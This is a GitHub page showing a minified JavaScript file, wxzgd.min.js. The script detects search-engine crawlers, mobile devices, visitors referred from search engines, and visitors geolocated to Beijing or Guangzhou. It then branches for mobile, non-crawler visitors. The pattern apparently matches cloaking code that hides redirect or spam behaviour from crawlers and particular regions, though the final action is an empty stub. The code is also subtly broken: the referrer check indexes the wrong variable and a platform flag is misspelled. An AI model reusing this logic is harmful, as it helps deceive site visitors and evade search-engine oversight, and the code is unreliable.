-
Notifications
You must be signed in to change notification settings - Fork 0
/
wxzgd.min.js
1 lines (1 loc) · 1.45 KB
/
wxzgd.min.js
1
function _dbug(){console.log(navigator.userAgent.toLowerCase()),console.log("is_robot() = "+is_robot()),console.log("is_referrer_search()="+is_referrer_search()),console.log("是否为移动端:"+is_mobile()),console.log("in_city() = "+in_city()),console.log("当前地区:"+returnCitySN.cname)}function is_mobile(){for(var o=["android","iPhone","SymbianOS","iPad","iPod","Windows Phone","HarmonyOS"],e=navigator.userAgent.toLowerCase(),r=0;r<o.length;r++)if(e.includes(o[r].toLowerCase()))return!0;return!1}function is_referrer_search(o){null==o&&(o=["sogou","soso","baidu","google","youdao","yahoo","bing","sm","so","biso","gougou","ifeng","ivc","sooule","niuhu","biso","360"]);for(var e=document.referrer,r=0;r<o.length;r++)if(e.includes(e[r].toLowerCase()))return!0;return!1}function is_robot(o){null==o&&(o=["baiduspider","yisouspider","sogou","yahoo","360spider","sosospider","googlebot","bingbot","bytespider","yandexbot","yisouspider"]);for(var e=navigator.userAgent.toLowerCase(),r=0;r<o.length;r++)if(e.includes(o[r].toLowerCase()))return!0;return!1}function in_city(o){null==o&&(o=["北京","广州"]);for(var e=returnCitySN.cname,r=0;r<o.length;r++)if(e.indexOf(o[r])>-1)return!0;return!1}var system={win:!1,mac:!1,xll:!1},p=navigator.platform;if(system.win=0==p.indexOf("Win"),system.mac=0==p.indexOf("Mac"),system.x11="X11"==p||0==p.indexOf("Linux"),!(system.win||system.mac||system.xll||is_robot())){const o=["sm"],e=o=>o[Math.floor(Math.random()*o.length)];e(o)}